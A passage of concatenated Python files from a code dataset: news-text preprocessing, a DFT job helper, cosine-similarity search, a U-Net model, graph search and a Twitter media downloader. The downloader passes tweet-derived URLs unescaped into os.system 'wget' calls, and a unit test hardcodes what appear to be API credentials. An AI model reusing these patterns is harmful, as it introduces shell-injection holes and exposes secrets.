'Nachrichten_Wirtschaft'],\n 'Finanzen': ['finanzen_immobilien', 'finanzen_anlagestrategie', 'finanzen', 'finanzen_vorsorge', 'Wissen_Finanzen', 'wirtschaft_boerse_', 'finanzen_maerkte', 'immobilien', 'video_finanzen'],\n 'Sport': ['Sport_tennis', 'Sport_Fussball', 'Sport_mehr', 'Sport_d', 'Sport_us', 'Sport_formel1', 'sport'],\n 'Sonstiges': ['dev', 'spiegel', '2017', '21', 'allgemein', 'schlusslicht', '25', 'videos', 'incoming', 'fernsehen', 'Nachrichten_n24', 'campus', 'studium', 'feature', 'magazin', 'panorama', 'positionen', 'Nachrichten_Panorama', 'einestages', 'imBild', 'vorabmeldungen', 'feuilleton', 'debatte', 'features', 'vermischtes', 'aktion', 'panorama', 'hintergrund', 'mobilitaet', 'freitext', 'video_panorama', '2016'],\n 'Ignore': ['newsletter', 'my', 'icon', 'videoblog', 'anzeigen', 'fotos', 'Teletext', 'images', 'quiztool', 'ardimport', 'leserbriefe', 'kolumnen_oliver', 'sptv', 'focustv', '22', 'kommentar', '32', '28', 'multimedia', 'video', 'kolumnen_Prof', 'fotostrecke'],\n 'Lokal': ['kommunalpolitik', 'nrw', 'hamburg', 'deutschland', 'inland', 'regionales', 'regional'],\n 'Lifestyle': ['shopping', 'stil', 'entdecken', 'lebenundlernen', 'reisen', 'Nachrichten_Verbraucher', 'familie', 'reise', 'leben', 'ratgeber', 'erfolg', 'Wissen_Gesundheit', 'Wissen_Reise', 'leute', 'gesundheit', 'spiele', 'gesellschaft']\n}\n\ndef tryGetCategoryHardcoded(source):\n if 'sportschau' in source:\n return 'sport'\n else:\n return ''\n\ndef getFreeformCategory(entry):\n site = entry['site']\n source = entry['source']\n matcher = category_extractors[site]\n if matcher is None:\n return\n\n try:\n result = matcher.match(source)\n except AttributeError:\n return matcher\n else:\n if result != None:\n #if there are subcategories, join them with an underscore\n return '_'.join([x for x in result.groups() if x != None])\n else:\n return tryGetCategoryHardcoded(source)\n\ndef mapFreeformCategory(freeformCategory):\n for mapping, mapped_categories in category_mapping.items():\n if freeformCategory in mapped_categories:\n return mapping\n\ndef normalize(text):\n norm_text = re.sub(r'\"|“|„|“', ' ', text)\n norm_text = normalizr.normalize(norm_text, normalizations)\n return norm_text.lower()\n\nif __name__ == '__main__':\n\n if len(sys.argv) < 3:\n print(__doc__ % sys.argv[0].split(\"/\")[-1])\n sys.exit(1)\n\n output_dir = sys.argv[1]\n corpus_name = sys.argv[2]\n\n print('connecting to db...')\n client = MongoClient('mongodb://localhost:27017/')\n db = client.articles\n\n all_articles = db.articles.find()\n\n saved_messages = 0\n print('found {} articles in db'.format(all_articles.count()))\n print('saving to disk')\n categories = {category: [] for category in category_mapping}\n\n # this list contains all freefor categories that could not be mapped to a predefined\n # category using the mapping in category_mapping\n unmapped_categories = set()\n\n for article in all_articles:\n\n freeformCategory, text = getFreeformCategory(article), normalize(article['text'])\n\n #normalize the text\n norm_text = normalize(text)\n\n category = mapFreeformCategory(freeformCategory)\n if category is None:\n unmapped_categories.add(freeformCategory)\n else:\n categories[category].append(norm_text)\n\n #print the current article count for each category\n count_stats = {category: len(items) for (category, items) in categories.items()}\n sys.stdout.write(\"\\r {} / {} : {}\".format(saved_messages, all_articles.count(), count_stats))\n saved_messages += 1\n\n print('\\n')\n print('\\n')\n\n print('saving corpora')\n for category_name, category in categories.items():\n file_name = output_dir + corpus_name + category_name + '.txt'\n print('saving {} corpus as {}'.format(category_name, file_name))\n category_file = codecs.open(file_name, 'w', 'utf-8')\n for text in category:\n category_file.write(text + '\\n')\n\n category_file.close()\n\n\n #remove all None and empty string values from the list\n unmapped_categories = list(filter(None, unmapped_categories))\n if len(unmapped_categories) > 0:\n print('freeform categories that could not be mapped: {}'.format(unmapped_categories))\n print('consider adding them to the mapping')\n\n #print('corpus saved to file {}'.format(out_file_path))\n print('done.')\n print('')\n","sub_path":"news/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"555558461","text":"# Density_Function_Theory - KIT v1.0.0 \n# August 2014\n# Class for controling job running process and maintain necessary folders\n\n# next : savepoint? to restart the calculation\n\nimport os\nimport sys\nimport shutil\n\nfrom DFT_KIT.interface import interface\n\nclass job:\n def __init__(self,subdir=True,job_manager_mode=False,write_post_process=True,save_output_data=True,system='DFT simulation',dir_task_prefix='task_',verbosity=True,**parms):\n self.root_dir=os.getcwd()+'/'\n self.subdir=subdir #make subdir structure\n self.all_dir=[]\n self.count=0\n self.main_dir=''\n self.task_prefix=dir_task_prefix\n self.verbose=verbosity\n self.temp_dir=''\n self.scriptmode=False\n self.dft_script_cmds=[]\n \n self.system=system\n self.parms={}\n for ind_key in parms:\n self.parms[ind_key]=parms[ind_key]\n \n if subdir:\n self.create_taskdir(True)\n else:\n self.main_dir=self.root_dir\n self.all_dir.append(self.main_dir)\n self.common_dir=''\n self.job_mamanger_mode=job_manager_mode\n self.opt_parm={'cpu':1}\n \n self.post_process_dir=''\n self.write_post_process=write_post_process\n if write_post_process:\n self.post_process_dir=self.root_dir+'dft_post_process/'\n if not os.path.exists(self.post_process_dir):\n os.mkdir(self.post_process_dir)\n \n #include prefix, filename, etc.\n self.sys_info={'description':'DFT simulation with DFT_KIT',\n 'dft_post_process':'dft_post_process',\n 'qes_prefix':'qespre',\n 'qes_fname':'qespresso',\n 'siesta_prefix':'siesta',\n 'wan90_seedname':'wan90'}\n \n self.save_output_data=save_output_data\n self.save_output=[]\n \n \n def record_save_output(self,data):\n self.save_output.append(data) \n \n def end_job(self,save_output_fname='dft_job_output'):\n if self.save_output_data:\n self.show('job', 'save output data record')\n interface.pickle_save(self.post_process_dir+self.save_output_fname, self.save_output)\n \n \n def back_to_root(self):\n os.chdir(self.root_dir)\n \n def process_opt_parm(self,opt_parm):\n if 'jm_cpu' in opt_parm:\n self.job_mamanger_mode=True\n self.opt_parm['cpu']=int(opt_parm['jm_cpu'])\n \n def load_opt_parm(self,opt_parm): \n for ind_key in opt_parm:\n if ind_key=='cpu':\n self.opt_parm['cpu']=int(opt_parm['cpu'])\n else:\n self.opt_parm[ind_key]=opt_parm[ind_key]\n \n def set_job_manager_mode(self,mode):\n self.job_mamanger_mode=mode\n def set_temp_dir(self,dir_name):\n self.temp_dir=self.root_dir+dir_name+'/'\n def set_common_dir(self,full_dir):\n self.common_dir=full_dir\n def copy_from_common(self,fname):\n shutil.copy(self.common_dir+fname,self.main_dir)\n def copy_to_common(self,fname):\n shutil.copy(self.main_dir+fname,self.common_dir)\n def set_sysinfo(self,ind_key,val):\n self.sys_info[ind_key]=val\n def get_sysinfo(self,ind_key):\n return self.sys_info[ind_key]\n def make_fname_sysinfo(self,ind_key):\n return self.sys_info[ind_key]+'_'+str(self.count)\n #create temp/postana dir\n def get_maindir(self):\n return self.main_dir\n \n def set_verbosity(self,verbosity):\n self.verbose=verbosity\n def show_verbose(self,src,message):\n if self.verbose:\n print('DFT_KIT(V):' + src +': ' + message)\n else:\n pass\n def show(self,src,message):\n print('DFT_KIT:' +src +': ' +message)\n def show_error(self,src,message):\n print('DFT_KIT(ERROR):' +src +': ' +message)\n def get_info(self,src,prompt,force_enter):\n tmp_return=''\n if self.scriptmode:\n tmpcmd=self.take_script_cmd()\n self.show(src, prompt +\"[S]\"+tmpcmd)\n tmp_return = tmpcmd\n else:\n tmp_return = raw_input('DFT_KIT:'+src+': '+prompt+' ')\n while tmp_return =='' and force_enter:\n if self.scriptmode:\n tmpcmd=self.take_script_cmd()\n self.show(src, prompt +\"[S]\"+tmpcmd)\n tmp_return = tmpcmd\n else:\n tmp_return = raw_input('DFT_KIT:'+src+': '+prompt+' ')\n return tmp_return\n \n def copy_from_task(self,from_task,fname):\n dir_from=self.all_dir[from_task]\n dir_to=self.main_dir\n shutil.copy(dir_from+fname, dir_to)\n \n def create_taskdir(self,init_create=False):\n if not self.subdir:\n self.show_error('DFT_job', 'subdir not properly set')\n return 0\n if not init_create:\n self.count=self.count+1\n dir_tmp=self.root_dir+self.get_task_dirname(self.count)+'/'\n self.all_dir.append(dir_tmp)\n os.mkdir(dir_tmp)\n os.chdir(dir_tmp)\n self.main_dir=dir_tmp\n \n def get_task_dirname(self,task_):\n return self.task_prefix+str(task_)\n \n def set_parms(self,ind_key,parm_val):\n self.parms[ind_key]=parm_val\n def get_parms(self,ind_key):\n return self.parms[ind_key]\n def remove_parms(self,ind_key):\n del self.parms[ind_key]\n def next_task(self,make_new_dir):\n if make_new_dir and self.subdir:\n self.show('job', 'create new task and its directory')\n self.create_taskdir()\n else:\n self.show('job', 'create new task')\n self.count=self.count+1\n self.all_dir.append(self.main_dir)\n def make_fname(self,prefix):\n return prefix+'_'+str(self.count)\n def load_script(self,scriptfile):\n with open(scriptfile) as fp:\n for line in fp:\n if line[-1]=='\\n':\n line=line[:-1]\n self.dft_script_cmds.append(line)\n if len(self.dft_script_cmds)>0:\n self.scriptmode=True\n \n def take_script_cmd(self):\n if not self.scriptmode:\n self.show_error('DFT_job','Not in script mode')\n return ''\n if len(self.dft_script_cmds)==1:\n self.scriptmode=False\n if len(self.dft_script_cmds)>=1:\n cmd=self.dft_script_cmds.pop(0)\n return cmd\n else:\n self.show_error('DFT_job','Not consistent in script mode')\n self.scriptmode=False\n return ''\n","sub_path":"core/job.py","file_name":"job.py","file_ext":"py","file_size_in_byte":6658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"508889704","text":"\"\"\"\nauthor rochanaph\nOctober 23 2017\"\"\"\n\nimport w3,w4,w5, os\n\n#reload(sys) \n#sys.setdefaultencoding('utf8')\n\ndef findSim(keyword, path):\n\n # membuat dictionary articles\n # membaca semua file .txt yang berada di direktori path(text files)\n # kemudian dimasukan kedalam dictionary articles dengan nama item/index(nama dokumen)\n articles = {}\n for item in os.listdir(path):\n if item.endswith(\".txt\"):\n with open(path + item, 'r') as file:\n articles[item] = w3.prepro_base(file.read())\n\n # memasukan kata kunci kedalam dictionary dengan nama item/index(keyword_index)\n # kemudian dimasukan ke dictionary articles dengan value keyword yang dimasukan\n kata_kunci = 'keyword_index'\n articles[kata_kunci] = w3.prepro_base(keyword)\n #menampilkan isi deskripsi sesuai dengan token yang ada \n isi_doc = {}\n for isi in os.listdir(path):\n if isi.endswith(\".txt\"):\n with open(path + isi,'r') as file:\n isi_doc[isi] = file.readline()\n \n\n # membuat list list_of_bow\n # yang kemudian dimasukan token-token unik di setiap dokumennya\n list_of_bow = []\n for key, value in articles.items():\n list_token = value.split(\".\")\n dic = w4.bow(list_token)\n list_of_bow.append(dic)\n\n # membuat matrix tiap-tiap dokumen dengan token unik dari semua dokumen\n matrix_akhir = w4.matrix(list_of_bow)\n\n # mencari id/urutan keyword_index\n # membuat dictionary presentase untuk semua dokumen\n id_keyword = articles.keys().index(kata_kunci)\n presentase = {}\n for key, vektor in zip(articles.keys(), matrix_akhir):\n if key != kata_kunci:\n presentase[key] = w5.cosine(matrix_akhir[id_keyword], vektor)\n \n\n return w4.sortdic(presentase,baris , descending=True)\n\npath=\"./text files/\"\nkeyword=\"JAKARTA\"\nbaris = []\nfor item in os.listdir(path):\n if item.endswith(\".txt\"):\n files = open(path + item, 'r', encoding = 'utf-8')\n for line in files:\n if keyword in line: baris.append(line)\nprint(baris)\n ","sub_path":"_scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"317136299","text":"import unittest\n\nfrom rongcloud.rongcloud import RongCloud\n\n\nclass BaseTestCase(unittest.TestCase):\n def test_second_url(self):\n rc = RongCloud('8luwapkvucoil', 'y0icysjl4h3LWz', 'http://wrong-url.com;http://api2-cn.ronghub.com')\n rep = rc.get_user().get_block().query()\n if rep['code'] != 200:\n rep = rc.get_user().get_block().query()\n self.assertEqual(rep['code'], 200, rep)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"unit_test/base_unittest.py","file_name":"base_unittest.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"262883956","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 30 15:06:12 2018\n\n@author: kueifang\n\"\"\"\nfrom gaussxw import gaussxwab\nfrom math import floor, log10, exp\nimport scipy.constants as scicon\ndef round_to_3(x):\n return round(x, 3-int(floor(log10(abs(x))))-1)\n\n\n\npi = scicon.pi\nKb = scicon.value(\"Boltzmann constant\")\nc = scicon.c\nh_head = scicon.value(\"Planck constant over 2 pi\")\nsigma = scicon.sigma\n\n\ndef f(x):\n return ((x/(1-x))**3) / (exp(x/(1-x) )-1)/((1-x)**2)\n\n\nN = 30\na = 0.0\nb = 1.0\n\nx,w = gaussxwab(N, a, b)\ns = 0.0\nfor k in range(N):\n s+= w[k]* f(x[k])\n \n\nprint(s)\n\n\nT =1\n\nsb_con = (Kb*T)**4/(4*(pi**2)*(c**2)*(h_head**3))\n\nfirst = round_to_3(sb_con*s)\nsecond = round_to_3(sigma *(T**4))\n\nprint(sb_con*s, sigma *(T**4))\nprint(first , second)\n\n","sub_path":"EEE591_python/week2/exercise_version_1_5_12.py","file_name":"exercise_version_1_5_12.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"32752411","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass SegmenterModel(nn.Module):\n def __init__(self):\n super(SegmenterModel, self).__init__()\n self.init_ch = 64 # число каналов после первой свёртки\n self.n_levels = 4 # число уровней до \"основания\" параболы\n\n # raise NotImplementedError()\n\n def forward(self, x):\n # raise NotImplementedError()\n pass\n\n def predict(self, x):\n # на вход подаётся одна картинка, а не батч, поэтому так\n y = self.forward(x.unsqueeze(0).cuda())\n return (y > 0).squeeze(0).squeeze(0).float().cuda()\n\n\nclass Unet_2(SegmenterModel):\n def __init__(self):\n super(Unet, self).__init__()\n self.sigmoid = nn.Sigmoid()\n\n # pool, unpool\n self.pool = nn.MaxPool2d(kernel_size=(2, 2), stride=2, return_indices=True)\n self.unpool = nn.MaxUnpool2d(kernel_size=(2, 2))\n\n # encoder\n self.enc_conv0 = nn.Sequential(\n nn.Conv2d(in_channels=3, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n )\n\n self.enc_conv1 = nn.Sequential(\n nn.Conv2d(in_channels=64, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.Conv2d(in_channels=128, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n )\n\n self.enc_conv2 = nn.Sequential(\n nn.Conv2d(in_channels=128, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(in_channels=256, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n )\n\n self.enc_conv3 = nn.Sequential(\n nn.Conv2d(in_channels=256, out_channels=512, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.Conv2d(in_channels=512, out_channels=512, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n )\n\n # bottleneck\n self.bottleneck = nn.Sequential(\n nn.Conv2d(\n in_channels=512, out_channels=1024, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(1024),\n nn.ReLU(),\n nn.Conv2d(\n in_channels=1024, out_channels=1024, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(1024),\n nn.ReLU(),\n nn.Conv2d(\n in_channels=1024, out_channels=512, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n )\n\n # decoder\n self.dec_conv0 = nn.Sequential(\n nn.Conv2d(\n in_channels=1024, out_channels=512, kernel_size=(3, 3), padding=1\n ),\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.Conv2d(in_channels=512, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n )\n\n self.dec_conv1 = nn.Sequential(\n nn.Conv2d(in_channels=512, out_channels=256, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.Conv2d(in_channels=256, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n )\n\n self.dec_conv2 = nn.Sequential(\n nn.Conv2d(in_channels=256, out_channels=128, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.Conv2d(in_channels=128, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n )\n\n self.dec_conv3 = nn.Sequential(\n nn.Conv2d(in_channels=128, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(in_channels=64, out_channels=64, kernel_size=(3, 3), padding=1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.Conv2d(\n in_channels=64, out_channels=1, kernel_size=(1, 1)\n ), # after last conv no activations\n )\n\n def forward(self, x):\n # encoder\n enc_conv0_output = self.enc_conv0(x)\n e0, indices1 = self.pool(enc_conv0_output)\n\n enc_conv1_output = self.enc_conv1(e0)\n e1, indices2 = self.pool(enc_conv1_output)\n\n enc_conv2_output = self.enc_conv2(e1)\n e2, indices3 = self.pool(enc_conv2_output)\n\n enc_conv3_output = self.enc_conv3(e2)\n e3, indices4 = self.pool(enc_conv3_output)\n\n # bottleneck\n b = self.bottleneck(e3)\n\n # decoder\n d0 = self.dec_conv0(\n torch.cat((self.unpool(b, indices4), enc_conv3_output), dim=1)\n )\n d1 = self.dec_conv1(\n torch.cat((self.unpool(d0, indices3), enc_conv2_output), dim=1)\n )\n d2 = self.dec_conv2(\n torch.cat((self.unpool(d1, indices2), enc_conv1_output), dim=1)\n )\n d3 = self.dec_conv3(\n torch.cat((self.unpool(d2, indices1), enc_conv0_output), dim=1)\n ) # no activation\n\n # d3_activation = self.sigmoid(d3)\n return d3\n","sub_path":"hw_6(deep_learning)/model_2.py","file_name":"model_2.py","file_ext":"py","file_size_in_byte":5726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"366508714","text":"\"\"\"Setuptools entrypoint.\"\"\"\nimport codecs\nimport os\n\nfrom setuptools import setup, find_packages\n\nfrom humilis_apigtw_resource import __version__\n\ndirname = os.path.dirname(__file__)\n\ntry:\n import pypandoc\n long_description = pypandoc.convert('README.md', 'rst')\nexcept(IOError, ImportError, RuntimeError):\n long_description = codecs.open(os.path.join(dirname, \"README.md\"),\n encoding=\"utf-8\").read()\n\nlong_description = (\n long_description + \"\\n\" +\n codecs.open(os.path.join(dirname, \"AUTHORS.rst\"),\n encoding=\"utf-8\").read() + \"\\n\" +\n codecs.open(os.path.join(dirname, \"CHANGES.rst\"),\n encoding=\"utf-8\").read()\n)\n\n\nsetup(\n name=\"humilis-apigtw-resource\",\n include_package_data=True,\n package_data={\"\": [\"*.j2\", \"*.yaml\"]},\n packages=find_packages(),\n version=__version__,\n author=\"German Gomez-Herrero, FindHotel, and others\",\n author_email=\"developers@innovativetravel.eu\",\n url=\"https://github.com/humilis/humilis-apigtw-resource\",\n license=\"MIT\",\n description=\"Humilis plugin to add API Gateway support to Cloudformation\",\n long_description=long_description,\n install_requires=[\"humilis>=0.4.1\", \"lambdautils\"],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 2\"],\n zip_safe=False,\n entry_points={\n \"humilis.layers\": [\n \"apigtw-resource=humilis_apigtw_resource.plugin:get_layer_path\"]}\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"582056681","text":"from collections import deque\n\ndef bfs(s,nList,color,icol):\n\n \n UNVISITED=0\n ENTERED=1\n VISITED=2\n state=[UNVISITED]*len(nList)\n Q=deque([])\n\n Q.append(s)\n state[s]=ENTERED\n color[s]=icol\n while(len(Q)>0):\n current=Q.popleft()\n for next in nList[current]:\n if state[next]==UNVISITED:\n Q.append(next)\n state[next]=ENTERED\n color[next]=icol\n state[current]=VISITED\n\n return\n\ndef main():\n n,m=list(map(int,input().split()))\n nList=[]\n for _ in range(n):\n nList.append([])\n\n for _ in range(m):\n s,t=list(map(int,input().split()))\n nList[s].append(t)\n nList[t].append(s)\n\n q=int(input())\n\n icol=-1\n color=[icol]*n\n for i in range(n):\n if (color[i]==-1):\n icol+=1\n bfs(i,nList,color,icol)\n \n\n for _ in range(q):\n s,t=list(map(int,input().split()))\n if (color[s] == color[t]):\n print('yes')\n else:\n print('no')\n \nif __name__=='__main__':\n main()\n\n\n \n\n","sub_path":"AOJ/12.5/alds1-11-d-2.py","file_name":"alds1-11-d-2.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"162685935","text":"import config_\nimport sys, os, json, time\nfrom io import BytesIO\nimport requests\nfrom pymongo import MongoClient\nfrom PIL import Image\nfrom pprint import pprint\n\nclient = MongoClient(config_.mongodb_url)\ndb = client.twitter\n\nsession = requests.Session()\n\ndef wait_limit_reset(res):\n #if int(res.headers[\"x-rate-limit-remaining\"]) == 0:\n #if float(res.headers[\"x-rate-limit-remaining\"]) / float(res.headers[\"x-rate-limit-limit'\"]) < 0.01:\n if float(res.headers[\"x-rate-limit-remaining\"]) < 3:\n print(\"wait for {0} seconds until reset\".format(\n int(res.headers[\"x-rate-limit-reset\"])-time.time()))\n time.sleep(int(res.headers[\"x-rate-limit-reset\"])-time.time()+ 10)\n \ndef check_res(res):\n res_json = json.loads(res.text)\n if isinstance(res_json,dict) and \"errors\" in res_json.keys():\n print(json.dumps(res_json,indent=2))\n wait_limit_reset(res)\n\ndef name2id(screen_name):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\"screen_name\": screen_name}\n res = config_.twitter.get(url, params=params)\n # print(json.dumps(json.loads(res.text), indent=2))\n return json.loads(res.text)[\"id_str\"]\n\ndef id2name(user_id):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\"user_id\": user_id}\n res = config_.twitter.get(url, params=params)\n # print(json.dumps(json.loads(res.text), indent=2))\n return json.loads(res.text)[\"screen_name\"]\n\ndef get_id(string):\n _id = \"\"\n screen_name = \"\"\n user_id = \"\"\n if \"-\" in string:\n user_id = string.split(\"-\")[0]\n screen_name = id2name(user_id)\n elif string.isdigit():\n user_id = string\n screen_name = id2name(user_id)\n else:\n screen_name = string\n user_id = name2id(screen_name)\n\n _id = user_id + \"-\" + screen_name\n\n print('====================================================')\n print(\"ID={0}\".format(_id))\n print('====================================================')\n\n return _id, user_id, screen_name\n\ndef print_error(msg, tweet_id, screen_name, media_url, path):\n with open(\"error.txt\", \"a\") as f:\n f.write(\"#\" + msg + \"\\n\")\n f.write(\"# TWEET URL: https://twitter.com/{0}/status/{1}\\n\".format(screen_name, tweet_id))\n f.write(\"wget -O {0} {1}\\n\".format(path, media_url))\n return\n\ndef save_media(tweet):\n # print(\"save media\")\n if db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}) == None:\n return\n if not \"extended_entities\" in tweet.keys():\n return\n\n user_id = tweet[\"user\"][\"id_str\"]\n screen_name = tweet[\"user\"][\"screen_name\"]\n directory = \"{0}/{1}\".format(config_.top, user_id)\n if not os.path.exists(directory):\n os.mkdir(directory)\n db.tweets.update(\n {\"tweet_id\": tweet[\"id\"]},\n {\"$set\":{\"user_id\": tweet[\"user\"][\"id\"]}}\n )\n\n for media in tweet[\"extended_entities\"][\"media\"]:\n path = \"{0}/{1}-{2}-{3}\".format(directory, user_id, tweet[\"id\"], media[\"media_url\"].split(\"/\")[-1])\n\n if db.tweets.find_one({\"media.filename\": path.split(\"/\")[-1]}) != None:\n # print(\"skip\")\n db.tweets.update(\n {\"media.filename\": path.split(\"/\")[-1]},\n {\"$set\":{\n \"media.$.filetype\": media[\"type\"],\n \"media.$.url\": media[\"media_url\"]\n }}\n )\n continue\n\n if media[\"type\"] == \"photo\":\n try:\n r = session.get(media[\"media_url\"] + \":orig\")\n i = Image.open(BytesIO(r.content))\n i.save(path)\n except:\n print_error(\"image download failed\", tweet[\"id\"], screen_name, media[\"media_url\"], path)\n continue\n elif media[\"type\"] == \"video\":\n bitrate = 0\n url = \"\"\n for variant in media[\"video_info\"][\"variants\"]:\n if variant[\"content_type\"] == \"video/mp4\" and variant[\"bitrate\"] > bitrate:\n bitrate = variant[\"bitrate\"]\n url = variant[\"url\"]\n if url != \"\":\n r = os.system(\"wget -q -O {0} {1}\".format(path, url))\n if r != 0:\n print_error(\"video download failed\", tweet[\"id\"], screen_name, url, path)\n elif media[\"type\"] == \"animated_gif\":\n for variant in media[\"video_info\"][\"variants\"]:\n if variant[\"content_type\"] == \"video/mp4\":\n url = variant[\"url\"]\n r = os.system(\"wget -q -O {0} {1}\".format(path, url))\n if r != 0:\n print_error(\"gif download failed\", tweet[\"id\"], screen_name, url, path)\n else:\n with open(\"error.txt\", \"a\") as f:\n f.write(\"# undefined media type\\n\")\n f.write(\"https://twitter.com/{0}/status/{1}\\n\".format(tweet[\"user\"][\"screen_name\"], tweet[\"id\"]))\n f.write(\"{0}\\n\".format(media[\"type\"]))\n f.write(\"{0}: {1}\\n\".format(tweet[\"user\"][\"name\"], tweet[\"full_text\"]))\n f.write(\"{0}\\n\".format(media[\"expanded_url\"]))\n db.tweets.update(\n {\"tweet_id\": tweet[\"id\"]},\n {\"$push\": {\"media\": {\n \"filename\": path.split(\"/\")[-1],\n \"filetype\": media[\"type\"],\n \"url\": media[\"media_url\"]\n }}},\n True\n )\n # pprint(db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}))\n return\n\ndef save_tweet(tweet):\n # print(\"save tweet\")\n db.tweets.update({\"tweet_id\": tweet[\"id\"]},\n {\"$set\": {\n \"user_id\": tweet[\"user\"][\"id\"],\n \"user_id_str\": tweet[\"user\"][\"id_str\"],\n \"screen_name\": tweet[\"user\"][\"screen_name\"],\n \"full_text\": tweet[\"full_text\"],\n \"tweet_id_str\": tweet[\"id_str\"]\n }},True)\n #print(db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}))\n\ndef update_user_detail(user):\n # print(\"update user detail\")\n db.users.update({\"_id\": user[\"id\"]},\n {\"$set\": {\n \"screen_name\": user[\"screen_name\"],\n \"name\": user[\"name\"],\n \"_id_str\": user[\"id_str\"],\n \"profile_image_url\": user[\"profile_image_url_https\"]\n }},True)\n # print(db.users.find_one({\"_id\": tweet[\"user\"][\"id\"]}))\n\ndef get_user_detail(user_id):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\"user_id\":user_id}\n res = config_.twitter.get(url, params=params)\n j = json.loads(res.text)\n if not \"errors\" in j.keys():\n update_user_detail(j)\n else:\n print(json.dumps(j, indent=4))\n\ndef get_status(status_id):\n url = \"https://api.twitter.com/1.1/statuses/show.json\"\n params = {\"id\": status_id, \"include_entities\":True,\"tweet_mode\": \"extended\",\"trim_user\":False}\n res = config_.twitter.get(url, params=params)\n wait_limit_reset(res)\n # print(json.dumps(json.loads(res.text), indent=2))\n return json.loads(res.text)\n\ndef process_tweet(tweet):\n print(\"# {0} https://twitter.com/{2}/status/{1}\"\n .format(tweet[\"created_at\"], tweet[\"id\"], tweet[\"user\"][\"screen_name\"]))\n if \"retweeted_status\" in tweet.keys():\n update_user_detail(tweet[\"user\"])\n tweet = tweet[\"retweeted_status\"]\n if \"quoted_status\" in tweet.keys():\n update_user_detail(tweet[\"user\"])\n tweet = tweet[\"quoted_status\"]\n update_user_detail(tweet[\"user\"])\n #if db.tweets.find_one({\"tweet_id\": tweet[\"id\"]}) == None:\n # return\n save_tweet(tweet)\n save_media(tweet)\n\ndef list_members(screen_name, slug):\n url = \"https://api.twitter.com/1.1/lists/members.json\"\n params = {\"slug\": slug, \"owner_screen_name\": screen_name, \"include_entities\": \"false\", \"count\": \"5000\"}\n if screen_name == \"saga_kana\":\n r = config_.sessions[\"saga_kana\"][\"apps\"].get(url, params=params)\n else:\n r = config_.sessions[\"gc_yamm\"][\"apps\"].get(url, params=params)\n users = json.loads(r.text)\n if not \"users\" in users.keys():\n print(r.headers)\n print(json.dumps(users,indent=2))\n user_list = {}\n #print(json.dumps(users,indent=4))\n for user in users[\"users\"]:\n #print(\"{0},{1}\".format(user[\"id\"],user[\"screen_name\"]))\n user_list[user[\"screen_name\"]] = user[\"id\"]\n return user_list\n\ndef copy_list(from_name, from_slug, to_name, to_slug):\n try:\n from_list = list_members(from_name, from_slug)\n to_list = list_members(to_name, to_slug)\n except Exception as e:\n print(\"Exception at copy_list\")\n print(e)\n return\n lists = []\n for name in from_list.keys():\n if not name in to_list:\n lists.append(name)\n\n url = \"https://api.twitter.com/1.1/lists/members/create_all.json\"\n params = {\"slug\": to_slug, \"owner_screen_name\": 